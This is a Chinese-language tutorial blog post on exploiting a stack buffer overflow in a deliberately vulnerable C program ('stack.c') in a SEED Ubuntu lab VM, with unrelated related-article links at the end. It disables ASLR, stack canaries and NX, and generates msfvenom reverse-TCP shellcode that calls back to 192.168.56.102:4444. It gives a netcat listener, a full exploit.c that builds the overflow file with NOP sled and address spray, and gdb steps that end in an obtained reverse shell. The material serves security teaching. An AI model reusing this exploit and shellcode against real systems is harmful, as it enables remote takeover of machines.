缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

一、说明

之前写过一篇”缓冲区溢出一:函数调用过程中的堆栈变化及缓冲区溢出利用原理“,道理讲得还可以,但现在看还是需要一个示例来讲解从攻击角度如何实现返回地址的覆盖和执行shellcode。

二、环境准备

2.1 操作系统环境

虚拟环境使用VirtualBox,VirtualBox下载地址:https://www.virtualbox.org/wiki/Downloads

shellcode生成使用VirtualBox的kali,下载后直接用VirtualBox打开.ova文件即可,kali虚拟机下载地址:https://www.kali.org/get-kali/#kali-virtual-machines

(主要是使用kali安装好的metasploit的msfvenom模块来协助生成shellcode,如果自己已有kali或自己装metasploit也可以。)

程序编译运行使用VirtualBox的SeedUbuntu虚拟机,SeedUbuntu虚拟硬盘下载地址:https://pan.zju.edu.cn/share/6c72d40cdc0877833c6b96bd2d

下载后解压,然后在VirtualBox中新建一台使用该虚拟硬盘(.vmdk文件)的虚拟机即可; 系统账户密码为root/seedubuntu、seed/dees。

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

2.2 漏洞程序

存在漏洞的程序如下,整个流程是程序从名为”badfile”的文件中读入517字节,将后使用strcpy函数将其赋值给buffer变量,而buffer最长也仅48个字节长度,这就存在缓冲区溢出。

(程序原意是studentId随便输,这里根据默认优先的思想我先填了个20,大家可以自己改,最后的payload会兼容任意值。)

以下内容保存为stack.c

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */

#include 
#include 
#include <string.h>
int bof(char *str, int studentId)
{
    int bufferSize;
    bufferSize = 12 + studentId%32;
    char buffer[bufferSize];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    int studentId = 20; // please put your student ID
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str,studentId);
    printf("Returned Properly\n");
    return 1;
}

2.3 缓解措施关闭

现在操作系统或编译器引入了多种缓解措施,防范缓冲区溢出漏洞的利用,我们这里只是做一个演示,缓解措施的攻防的属于安全前沿研究了,我们暂不考虚,所以这里将这些缓解措施都关闭掉。

关闭地址空间随机化。地址空间随机后会导致变量存储在的栈地址每次运行是不一样的,对漏洞利用的主要影响一是注入的payload的地址也是变动的,二是payload地址要覆盖返回地址的那个地址(或者叫存储返回地址的地址)也是变动的。使用root执行以下命令地址空间随机化。

sysctl -w kernel.randomize_va_space=0

关闭栈保护。栈保护是指GCC在编译时默认会在变量空间之后添加一个标识,运行时如果标识被覆盖则认为存在溢出程序运行报错。关闭方法是在gcc编译时加上-fno-stack-protector选项。

关闭栈不可执行。变量的值即包括我们注入的payload是存放在堆栈段中的,如果堆栈不可执行那我们注入的payload也就没法执行。关闭方法是在gcc编译时加上-z execstack选项。

2.4 目标对齐

在2.3前提下,利用2.2的stack.c程序的缓冲区溢出漏洞,得到一个反弹shell。

三、攻击实施

3.1 启动一个nc监听

改成你自己的ip地址和想要的端口
nc -lv 192.168.56.102 4444

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

3.2 生成shellcode

这个shellcode要能获取反弹shell,这是我们2.4制定的目标决定的。

这个shellcode应该是原始的十六进制形式,因为2.2的程序为c语言我们攻击的是一个c语言的变量。

我们借助msfvenom生成,为了满足第一个要求我们指定payload格式为linux/x86/shell_reverse_tcp,为了满足第二个要求我们指定输出格式为c语言。

可以看到最终msfvenom帮我们生成了长度为68字节的shellcode

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

翻译成汇编指令如下(我也没具体分析哪几条汇编指令是做什么,这也没必要,总之整体就是去连接192.168.56.102的4444端口就是了)

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
"\x31\xdb"              /*Line 1: xor    %ebx,%ebx */ /* shellcode start total 68 bytes */
"\xf7\xe3"              /*Line 2: mul    %ebx */
"\x53"                  /*Line 3: push   %ebx */
"\x43"                  /*Line 4: inc    %ebx */
"\x53"                  /*Line 5: push   %ebx */
"\x6a\x02"              /*Line 6: push   $0x2 */
"\x89\xe1"              /*Line 7: mov    %esp,%ecx */
"\xb0\x66"              /*Line 8: mov    $0x66,%al */
"\xcd\x80"              /*Line 9: int    $0x80 */
"\x93"                  /*Line 10: xchg   %eax,%ebx */
"\x59"                  /*Line 11: pop    %ecx */
"\xb0\x3f"              /*Line 12: mov    $0x3f,%al */
"\xcd\x80"              /*Line 13: int    $0x80 */
"\x49"                  /*Line 14: dec    %ecx */
"\x79\xf9"              /*Line 15: jns    0xbffff33c */
"\x68\xc0\xa8\x38\x66"  /*Line 16: push   $0x6638a8c0 */
"\x68\x02\x00\x11\x5c"  /*Line 17: push   $0x5c110002 */
"\x89\xe1"                 /*Line 18: mov    %esp,%ecx */
"\xb0\x66"                 /*Line 19: mov    $0x66,%al */
"\x50"                     /*Line 20: push   %eax */
"\x51"                     /*Line 21: push   %ecx */
"\x53"                     /*Line 22: push   %ebx */
"\xb3\x03"                 /*Line 23: mov    $0x3,%bl */
"\x89\xe1"                 /*Line 24: mov    %esp,%ecx */
"\xcd\x80"                 /*Line 25: int    $0x80 */
"\x52"                     /*Line 26: push   %edx */
"\x68\x6e\x2f\x73\x68"     /*Line 27: push   $0x68732f6e */
"\x68\x2f\x2f\x62\x69"     /*Line 28: push   $0x69622f2f */
"\x89\xe3"                 /*Line 29: mov    %esp,%ebx */
"\x52"                     /*Line 30: push   %edx */
"\x53"                     /*Line 31: push   %ebx */
"\x89\xe1"                 /*Line 32: mov    %esp,%ecx */
"\xb0\x0b"                 /*Line 33: mov    $0xb,%al */
"\xcd\x80"                 /*Line 34: int    $0x80 */ /* shellcode end total 68 bytes */

View Code

3.3 生成badfile文件

3.3.1 shellcode地址和shellcode在badfile中的先后顺序

栈向低地址生长,所以一般想法是shellcode在前,填入stack.c中在(相对的)低地址的buffer变量的空间; shellcode地址在后,覆盖处在(相对的)原先的返回地址。

但是栈中的变量向高地址生长,我们生成的shellcode就有68个字节了,而buffer变量最长也只有48个字节,这就导致如果shellcode在前那么一是可能填到返回地址shellcode都还没填完怎么填shellcode地址; 二是即便返回地址前的空间能勉强写完shellcode能在返回地址处写入shellcode地址,这shellcode和返回地址也太近了,返回地址处是返回之后的栈顶,shellcode靠后的指令很可能被自己的入栈动作(push)出栈动作(pop)给擦写掉。

基于以上两个原因,我们不能使用一般的shellcode在前shellcode地址在后的的形式,那如果shellcode地址在前shellcode地址在后该怎么组织呢?

shellcode除了存入buffer变量,其实还存到了str变量,str是上层main函数的变量其存放于main函数的栈中,返回后栈顶移动到的是main函数的栈顶入栈动作(push)不会擦写到存放在str中的shellcode(当然极端情况下如果shellcode有很多pop再来push还是有可能擦写shellcode,一是只能说这情况很少,二是我们可以将shellcode尽量放到str的后半部)。

所以总体的组织形式是:

shellcode地址在前(且使用的是存放在str变量中的shellcode而非buffer中的shellcode。其实即便buffer空间充足想使用buffer中的shellcode还有一个问题,我们的shellcode是有0x00的而strcpy函数复制到0x00就放为字符串结束不再复制了,这个问题还得解决,这也是msf的encoder用途之一这里就不展开了。)

shellcode在后

3.3.2 确定shellcode地址应该写入badfile哪个地址

上一节我们做了一个定性分析,shellcode地址应该写在badfile的前部,但这个前端到底是哪个字节呢,这需要做一个定量分析。

shellcode地址写入badfile地址 = 存方返回地址的地址 – buffer变量地址

所以,我们要找到返回地址,再找存放返回地址的地址,再找buffer变量的地址,最终求出shellcode地址写入badfile地址

现在我们只确定shellcode长什么样,及shellcode前应预留空间给shellcode地址,所以我们按这条件先构建个badfile文件让stack.c能运行起来。

代码如下,保存成exploit.c:

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
/* exploit.c */
/* A program that creates a file containing code for launching shell*/

#include
#include
#include

char shellcode[]= "\x90\x90\x90\x90" /* 0x00000000 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000010 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000020 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000030 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000040 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000050 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000060 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xdb"              /*Line 1: xor    %ebx,%ebx */ /* 0x00000070 */ /* shellcode start total 68 bytes */
"\xf7\xe3"              /*Line 2: mul    %ebx */
"\x53"                  /*Line 3: push   %ebx */
"\x43"                  /*Line 4: inc    %ebx */
"\x53"                  /*Line 5: push   %ebx */
"\x6a\x02"              /*Line 6: push   $0x2 */
"\x89\xe1"              /*Line 7: mov    %esp,%ecx */
"\xb0\x66"              /*Line 8: mov    $0x66,%al */
"\xcd\x80"              /*Line 9: int    $0x80 */
"\x93"                  /*Line 10: xchg   %eax,%ebx */
"\x59"                  /*Line 11: pop    %ecx */
"\xb0\x3f"              /*Line 12: mov    $0x3f,%al */
"\xcd\x80"              /*Line 13: int    $0x80 */
"\x49"                  /*Line 14: dec    %ecx */
"\x79\xf9"              /*Line 15: jns    0xbffff33c */
"\x68\xc0\xa8\x38\x66"  /*Line 16: push   $0x6638a8c0 */
"\x68\x02\x00\x11\x5c"  /*Line 17: push   $0x5c110002 */
"\x89\xe1"                 /*Line 18: mov    %esp,%ecx */
"\xb0\x66"                 /*Line 19: mov    $0x66,%al */
"\x50"                     /*Line 20: push   %eax */
"\x51"                     /*Line 21: push   %ecx */
"\x53"                     /*Line 22: push   %ebx */
"\xb3\x03"                 /*Line 23: mov    $0x3,%bl */
"\x89\xe1"                 /*Line 24: mov    %esp,%ecx */
"\xcd\x80"                 /*Line 25: int    $0x80 */
"\x52"                     /*Line 26: push   %edx */
"\x68\x6e\x2f\x73\x68"     /*Line 27: push   $0x68732f6e */
"\x68\x2f\x2f\x62\x69"     /*Line 28: push   $0x69622f2f */
"\x89\xe3"                 /*Line 29: mov    %esp,%ebx */
"\x52"                     /*Line 30: push   %edx */
"\x53"                     /*Line 31: push   %ebx */
"\x89\xe1"                 /*Line 32: mov    %esp,%ecx */
"\xb0\x0b"                 /*Line 33: mov    $0xb,%al */
"\xcd\x80";                 /*Line 34: int    $0x80 */ /* shellcode end total 68 bytes */

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    memcpy(buffer, shellcode, 7*16+68);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

View Code

编译运行生成badfile文件:

编译
exploit并不是我们要溢出的目标,所以不需要 -fno-stack-protector和 -z execstack这两个参数
gcc -g -o exploit exploit.c

过行生成badfile文件
./exploit

以十六进制查看badfile文件内容
*号表示一直重复上一行的内容
0000205 = 2 * 16 * 16 + 0 * 16 + 5 = 517
hexdump badfile

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

以编译stack.c并用gdb载入调试

编译
gcc -fno-stack-protector -z execstack -g -o stack stack.c

gdb载入调试
gdb ./stack

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

查看调用完bof函数后的返回地址,可以看到返回地址是0x08048584

反汇编main函数
disass main

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

进入bof函数,查看返回地址存放地址和buffer变量地址,我们不能直接获取返回地址存放地址,但他就在buffer变量后不远处,所以我们查看buffer变量及其后远一些位置即可

查看程序源代码1到40行,以查看bof函数代码所在行
l 1,40

在bof函数buffer变量定义后的某行设置断点,以使程序运行在bof内停下
b 15
运行程序run
查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
x /48xw buffer

可以看到buffer变量在0xbffff270处,返回地址(0x08048584)存放地址为0xbffff2a0

0xbffff2ac – 0xbffff270 = 0x0000003c,所以我们应该在badfile的0x0000003c处填shellcode地址

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

3.3.3 确定shellcode地址

shellcode地址应填在badfile的0x0000003c处,前边我们shellcode前预留的空间有0x0000006f之多,所以我们直接看shellcode地址然后在badfile的0x0000003c处填入即可。

我们不确定shellcode的位置,但他在str变量中,我们直接查看str变量既可

查看str变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
x /48xw str

可以看到shellcode位于0xbffff333处

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

3.3.4 重新生成badfile

由上一小结分析可知,我们将原来的badfile的0x0000003c处改成0xbffff333即可。

但一是为了稳妥起见,

一是shellcode地址一般逐陆到0xbffff333前边的地址,然后通过nop(即0x90)滑到0xbffff333,这种方式在这里没什么用,但还是建议养成这个习惯。这里我们选0xbffff323。

二是,一般我们将0x0000003c前后的一片都写成shellcode地址,这种方式在这里没什么用,但还是建议养成这个习惯,另外也是为了兼容stundentID % 32。我们这里将0x00000010到0x00000050全写成shellcode地址。

另外为了str不被strcpy覆盖,在0x00000050之后(shellcode,0x00000070之前)要及早插入0x00,这里就将0x00000054设置为0x00

代码如下,保存成exploit.c:

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
/* exploit.c */
/* A program that creates a file containing code for launching shell*/

#include
#include
#include

char shellcode[]= "\x90\x90\x90\x90" /* 0x00000000 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x26\xf3\xff\xbf" /* 0x00000010 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000020 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000030 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000040 */
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf"
"\x26\xf3\xff\xbf" /* 0x00000050 */
"\x00\x90\x90\x90" /* 0x00 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* 0x00000060 */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xdb"              /*Line 1: xor    %ebx,%ebx */ /* 0x00000070 */ /* shellcode start total 68 bytes */
"\xf7\xe3"              /*Line 2: mul    %ebx */
"\x53"                  /*Line 3: push   %ebx */
"\x43"                  /*Line 4: inc    %ebx */
"\x53"                  /*Line 5: push   %ebx */
"\x6a\x02"              /*Line 6: push   $0x2 */
"\x89\xe1"              /*Line 7: mov    %esp,%ecx */
"\xb0\x66"              /*Line 8: mov    $0x66,%al */
"\xcd\x80"              /*Line 9: int    $0x80 */
"\x93"                  /*Line 10: xchg   %eax,%ebx */
"\x59"                  /*Line 11: pop    %ecx */
"\xb0\x3f"              /*Line 12: mov    $0x3f,%al */
"\xcd\x80"              /*Line 13: int    $0x80 */
"\x49"                  /*Line 14: dec    %ecx */
"\x79\xf9"              /*Line 15: jns    0xbffff33c */
"\x68\xc0\xa8\x38\x66"  /*Line 16: push   $0x6638a8c0 */
"\x68\x02\x00\x11\x5c"  /*Line 17: push   $0x5c110002 */
"\x89\xe1"                 /*Line 18: mov    %esp,%ecx */
"\xb0\x66"                 /*Line 19: mov    $0x66,%al */
"\x50"                     /*Line 20: push   %eax */
"\x51"                     /*Line 21: push   %ecx */
"\x53"                     /*Line 22: push   %ebx */
"\xb3\x03"                 /*Line 23: mov    $0x3,%bl */
"\x89\xe1"                 /*Line 24: mov    %esp,%ecx */
"\xcd\x80"                 /*Line 25: int    $0x80 */
"\x52"                     /*Line 26: push   %edx */
"\x68\x6e\x2f\x73\x68"     /*Line 27: push   $0x68732f6e */
"\x68\x2f\x2f\x62\x69"     /*Line 28: push   $0x69622f2f */
"\x89\xe3"                 /*Line 29: mov    %esp,%ebx */
"\x52"                     /*Line 30: push   %edx */
"\x53"                     /*Line 31: push   %ebx */
"\x89\xe1"                 /*Line 32: mov    %esp,%ecx */
"\xb0\x0b"                 /*Line 33: mov    $0xb,%al */
"\xcd\x80";                 /*Line 34: int    $0x80 */ /* shellcode end total 68 bytes */

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
    memcpy(buffer, shellcode, 7*16+68);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

View Code

重新编译运行重新生成badfile文件:

编译
exploit并不是我们要溢出的目标,所以不需要 -fno-stack-protector和 -z execstack这两个参数
gcc -g -o exploit exploit.c

过行生成badfile文件
./exploit

以十六进制查看badfile文件内容
*号表示一直重复上一行的内容
0000205 = 2 * 16 * 16 + 0 * 16 + 5 = 517
hexdump badfile

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

重新载入stack调试,

查看程序源代码1到40行,以查看bof函数代码所在行
l 1,40

在bof函数buffer变量定义后的某行设置断点,以使程序运行在bof内停下
b 15

运行程序
run

查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
x /48xw buffer

单步步过执行
执行strcpy(buffer, str)
n

查看buffer变量及其后48 * 0x * 4字节的内容(w,字,长度为4字节)
由于buffer地址值可能被覆盖,所以我们直接将buffer这个符号改成上边翻译出来的地址,0xbffff270
x /48xw 0xbffff270

可以看到原先的返回地址(及其前后)0x08048584被替换成了新的返回地址0xfffff326所替代

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
调出寄存器窗口
layout regs

单条汇编执行
手动输入一次ni回车后,后面都直接回车即可
ni

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

到ret后再回车,可以看到,和预期一样eip指向了0xfffff326

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例
直接运行,类似od的f9
c

可以看到派生了一个shell进程

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

回到nc窗口可以看到,收到了一个连接且可以执行命令,至此我们实现了我们的最终目标:获取一个反弹shell。

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

四、问题

4.1 直接运行反弹失败

在gdb中运行stack可以成功反弹,但直接运行总是报”Segmentation fault”等错误,还没搞清楚原因。

缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

Original: https://www.cnblogs.com/lsdb/p/15873140.html
Author: 诸子流
Title: 缓冲区溢出二:从缓冲区溢出到获取反弹shell实例

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529520/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 句柄过多导致SSH失败

    现象描述 scp文件的时候,突然有一个节点拷贝失败了。以为免密被修改了,结果一问说原因是:句柄过多。 以前这种情况接触较少,就顺带查了一下资料。 句柄的定义 这个标题隐含的一个前提…

    Linux 2023年6月8日
    089
  • 添加SSH服务

    1、基于commit命令创建 1.1 启动容器 [root@master ~]# docker run -it ubuntu:18.04 bash #&#x66F4;&am…

    Linux 2023年6月13日
    078
  • 【原创】Linux PCI驱动框架分析(二)

    背 景 Read the fucking source code! –By 鲁迅 A picture is worth a thousand words. &#8211…

    Linux 2023年6月8日
    094
  • 消费税

    1994年税制改革时,我国才设置了独立的消费税,与实行普遍征收的增值税配套,对特定消费品进行特殊调节。 消费税的特点: (一)征税范围具有选择性 有选择地确定若干个征税项目,在税法…

    Linux 2023年6月14日
    093
  • 网易互联网笔试(3.27)

    网易互联网3.27日笔试,四道笔试题一道简答题,四道笔试题AK,简答题考察设计模式不会。 第一道题模拟使用单体技能和群体技能攻击怪物的场景、第二题字符串处理、第三题构造具有限制条件…

    Linux 2023年6月13日
    092
  • 数据转换-16进制字符

    任务详情 在openEuler(推荐)或Ubuntu或Windows(不推荐)中完成下面任务 在utils.h和utils.c中完成16进制字符’0′-&#…

    Linux 2023年6月8日
    080
  • 到底什么是TORCH.NN?

    该教程是在notebook上运行的,而不是脚本,下载notebook文件。 PyTorch提供了设计优雅的模块和类: torch.nn, torch.optim, Dataset,…

    Linux 2023年6月14日
    095
  • Mysql在linux对大小写敏感的设置

    编辑/etc/my.cnf文件,在[mysqld]节下 添加 lower_case_table_names 参数,并设置相应的值 (备注:为0时大小写敏感,为1时大小写不敏感,默认…

    Linux 2023年6月13日
    085
  • node.js和vue cli脚手架下载安装配置方法

    一、node.js安装以及环境配置 1、下载vue.js 下载地址: https://nodejs.org/en/ 2、安装node.js 下载完成后,双击安装包开始安装。安装地址…

    Linux 2023年6月7日
    093
  • Conky配置(中文备注)

    conkyrc地址:~/.conkyrc 需要注意的是,因为每个人的网卡都不同,所以在网络部分,例如 downspeed wlp0s20f3 ,后面的 wlp0s20f3 每个人都…

    Linux 2023年6月7日
    065
  • 【小记】Linux 快速查找并结束僵尸进程

    Linux SSH 连接后显示: There is 1 zombie process. 说明当前正在运行的系统当中存在1个僵尸进程正在无意义消耗资源。 ==============…

    Linux 2023年6月13日
    0108
  • 【故障公告】取代 memcached 的 redis 出现问题造成网站故障(已解决)

    6月19日开始,我们将博客站点的缓存服务器从 memcached 换成了 redis,稳定运行了3天,今天上午访问高峰突然出现问题,在 11:00-12:30 期间影响了网站的正常…

    Linux 2023年5月28日
    098
  • 建表参数PCTFREE、PCTUSED、INITRANS和MAXTRANS释疑

    PCTFREE与PCTUSED建表时可以指定以上两个参数的值(整数),PCTFREE表示一个块中保留的剩余空间大小百分比,该保留空间主要用于已有记录的更 新操作;PCTUSED表示…

    Linux 2023年6月14日
    080
  • 高速USB转4串口产品设计-TTL串口

    基于480Mbps 高速USB转8路串口芯片CH344Q,可以为各类主机扩展出4个独立的串口。CH344芯片支持使用操作系统内置的CDC串口驱动,也支持使用厂商提供的VCP串口驱动…

    Linux 2023年6月7日
    0100
  • WPF 调试依赖属性变更方法

    本文告诉大家如何调试 WPF 的某个依赖属性被变更的方法 在 WPF 里面,所有的依赖属性都有带通知的功能,通过带通知的功能,可以在通知里加上断点,通过调用堆栈了解是哪个模块调用的…

    Linux 2023年6月6日
    080
  • Linux系统安装Mysql8.0流程与遇到的问题

    安装MySQL版本为:8.0.16 1、首次安装,下载命令: wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8….

    Linux 2023年6月6日
    0111
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球